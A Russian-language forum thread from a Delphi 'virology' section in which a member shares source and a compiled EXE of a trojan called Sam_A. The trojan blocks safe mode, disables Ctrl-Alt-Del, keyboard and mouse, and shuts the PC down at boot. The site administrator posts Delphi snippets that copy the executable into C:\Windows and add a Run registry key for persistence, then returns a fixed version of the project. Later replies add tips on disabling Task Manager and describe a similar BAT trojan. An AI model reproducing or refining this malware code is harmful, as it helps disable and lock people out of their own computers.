Суббота, 20.04.2024, 00:05 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 2
  • 1
  • 2
  • »
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx  
delphicode » Delphi » Вирусология Delphi » Sam_A by JAW (Троянец)
Sam_A by JAW
JawДата: Воскресенье, 22.03.2009, 00:15 | Сообщение # 1
Участник
Зарегистрирован: 09.03.2009
Группа: Пользователи
Сообщений: 70
Статус: Offline
Выкладываю исходник вируса: "SAM_a"
Функции:
--//Запрещает безопасный режим.(возможно неработает непроверял)
--//Отключает Ctr-Alt-Del.
--//Выключает ПК при загрузке.
--//Прописыватся в автозагрузке.
--//Отключает клавиатуру и мышь.(За эту функцию спасибо dolphin'у).
PS:В архиве исходники и *.EXE уже скомпилированый.
PSS:Хотел еще добавит функцию размножения по сети...но кому нужно тот сам добавит подумал я и нажпл "Enter"...
Ссылка на скачку>>>http://multi-up.com/70872


Сообщение отредактировал Jaw - Воскресенье, 22.03.2009, 00:17
 
dolphinДата: Воскресенье, 22.03.2009, 11:49 | Сообщение # 2
Администратор
Сообщений: 906
Статус: Offline
Смотрел, код выглядит довольно не оптимизированным, и серьёзный твой косяк с автозагрузкой >>>
Ты не скопировался при запуске куданибудь, для вирусов это очень важно!Автозагрузка делается подругому кординально.
Ещё, можно обойтись без модуля и без таймера, это всё очень громоздко!

Скопироваться можно так>>>

Code
CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\' + ExtractFileName(ParamStr(0))), True);

Прописать в автозагрузку себя скопированного>>>
Code
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('Project1','C:\Windows\Project1.exe');
Reg.CloseKey;
Reg.Free;

Вместо project1 пишешь название своей программы

P.S. Можно послать скопировавшемуся вирусу атребуты неводимый, только для чтения и т.п.

Удачной работы!!! smile


Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
JawДата: Воскресенье, 22.03.2009, 12:04 | Сообщение # 3
Участник
Зарегистрирован: 09.03.2009
Группа: Пользователи
Сообщений: 70
Статус: Offline
чет напойму как скопироваться?а точнее куда вставлять этот код?

Сообщение отредактировал Jaw - Воскресенье, 22.03.2009, 12:06
 
dolphinДата: Воскресенье, 22.03.2009, 12:11 | Сообщение # 4
Администратор
Сообщений: 906
Статус: Offline
В процедуру FormCreate Но при условии (if)!!! что файл не находится в указанноай дирекктории!
В ту же процедуру и при том же if прописываемся в автозагрузку.


Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
JawДата: Воскресенье, 22.03.2009, 12:13 | Сообщение # 5
Участник
Зарегистрирован: 09.03.2009
Группа: Пользователи
Сообщений: 70
Статус: Offline
можешь это исправить в моем проекте?
 
dolphinДата: Воскресенье, 22.03.2009, 12:16 | Сообщение # 6
Администратор
Сообщений: 906
Статус: Offline
Да, щас сделаем

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
dolphinДата: Воскресенье, 22.03.2009, 12:21 | Сообщение # 7
Администратор
Сообщений: 906
Статус: Offline
Тоько некак до меня не дойдёт для чего нужен этот код>>>
Code

Form1:=TForm1.Create(nil); //Создаём невидимую форму
Application.Run;
h:=CreateEvent(nil, true, false, 'et'); //Делаем пустое событие.
while (true) do //Пока не будет true

begin
WaitForSingleObject(h, 1000); //каждую секунду
Application.ProcessMessages; //передавать управление программе
end;


Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
JawДата: Воскресенье, 22.03.2009, 12:25 | Сообщение # 8
Участник
Зарегистрирован: 09.03.2009
Группа: Пользователи
Сообщений: 70
Статус: Offline
Это для последущего выключения ПК.
 
dolphinДата: Воскресенье, 22.03.2009, 12:30 | Сообщение # 9
Администратор
Сообщений: 906
Статус: Offline
Эта процедура не выключит компьютер, помоему она просто дает программы больше оперативной памяти

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
JawДата: Воскресенье, 22.03.2009, 12:34 | Сообщение # 10
Участник
Зарегистрирован: 09.03.2009
Группа: Пользователи
Сообщений: 70
Статус: Offline
мб-мб..
 
dolphinДата: Воскресенье, 22.03.2009, 12:50 | Сообщение # 11
Администратор
Сообщений: 906
Статус: Offline
Все процедуры я уже написал, осталось написать обработчик, эт не долго wink

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
JawДата: Воскресенье, 22.03.2009, 12:57 | Сообщение # 12
Участник
Зарегистрирован: 09.03.2009
Группа: Пользователи
Сообщений: 70
Статус: Offline
жду..
 
dolphinДата: Воскресенье, 22.03.2009, 13:29 | Сообщение # 13
Администратор
Сообщений: 906
Статус: Offline
В принцепе всё готово только заморочка насчет директории щас решу и всё ok

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
dolphinДата: Воскресенье, 22.03.2009, 13:53 | Сообщение # 14
Администратор
Сообщений: 906
Статус: Offline
Посмотри что получилось, не уверен с действиями в реестре, но вроде всё так
Прикрепления: S_.rar (3.4 Kb)


Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
JawДата: Воскресенье, 22.03.2009, 14:08 | Сообщение # 15
Участник
Зарегистрирован: 09.03.2009
Группа: Пользователи
Сообщений: 70
Статус: Offline
+Отключение безопасного режима работает.
+Работает выключение после загрузки.
 
dolphinДата: Воскресенье, 22.03.2009, 14:13 | Сообщение # 16
Администратор
Сообщений: 906
Статус: Offline
Думаю моя помощь больше не понадобится?

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
JawДата: Воскресенье, 22.03.2009, 14:16 | Сообщение # 17
Участник
Зарегистрирован: 09.03.2009
Группа: Пользователи
Сообщений: 70
Статус: Offline
Скорей всего да(всмысле непонадобится).
 
dolphinДата: Воскресенье, 22.03.2009, 14:21 | Сообщение # 18
Администратор
Сообщений: 906
Статус: Offline
Да, Jaw, автозагрузка и вся программа будет работать лишь в том случае если имя екзишника будет Sam_A.exe

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
dolphinДата: Воскресенье, 22.03.2009, 14:22 | Сообщение # 19
Администратор
Сообщений: 906
Статус: Offline
Имя программы biggrin

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
JawДата: Воскресенье, 22.03.2009, 14:40 | Сообщение # 20
Участник
Зарегистрирован: 09.03.2009
Группа: Пользователи
Сообщений: 70
Статус: Offline
Я об этом уж догоадался..но всеровно спс.
 
tatsuДата: Суббота, 30.05.2009, 21:02 | Сообщение # 21
Частый гость
Зарегистрирован: 17.05.2009
Группа: Пользователи
Сообщений: 27
Статус: Offline
Люди ))))).... я такого зверька ма BAT`е делал. он самокопировался в system32, писался в реестр на автозагрузку, блочил реестр и уводил комп в циклическую перезагрузку.

Ибо маст дай!
 
AD0Дата: Суббота, 13.06.2009, 23:01 | Сообщение # 22
Группа: Удаленные



кстати с именем вопрос тоже можно решить) насколько мне помниться имя файла с * не задается в обычных форточках) а как имя для поиска без проблем можно попробовать=) так же помню в батниках если прописывать можно использовать как прямую ссылку и обычную свзяь там еще значками доллара обозначается

Сообщение отредактировал AD0 - Суббота, 13.06.2009, 23:15
 
frenДата: Вторник, 17.11.2009, 13:52 | Сообщение # 23
Частый гость
Зарегистрирован: 12.12.2008
Группа: Пользователи
Сообщений: 34
Статус: Offline
оуу...и не знал что можно блокировать безопасный режим bangin

Можно пожалуйста по подробней про отключение безопасного режима...исходник скачать не могу...

Сообщение отредактировал fren - Вторник, 17.11.2009, 14:00
 
xlinДата: Среда, 03.02.2010, 17:39 | Сообщение # 24
Группа: Удаленные



Одна неувязочка.... для того чтобы отключить диспетчер задач,ветку реестра необходимо поменять, и тогда все будет работать (reg.rootkey:=hkey_current_user;)
 
Marra_KeshДата: Суббота, 15.05.2010, 08:50 | Сообщение # 25
Постоянный
Зарегистрирован: 19.12.2009
Группа: Модераторы
Сообщений: 182
Статус: Offline
Здраствуйте. Допустим я запустил этот вирус у себя на компьютере, он соответственно перезагружается и нет доступа к безопасному режиму. Что делать? Я читал как-то в Интернете что надо BIOS "выгружать" как это!!! Есть способ удалить этот вирус

Заведующий палатой #6
 
delphicode » Delphi » Вирусология Delphi » Sam_A by JAW (Троянец)
  • Страница 1 из 2
  • 1
  • 2
  • »
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz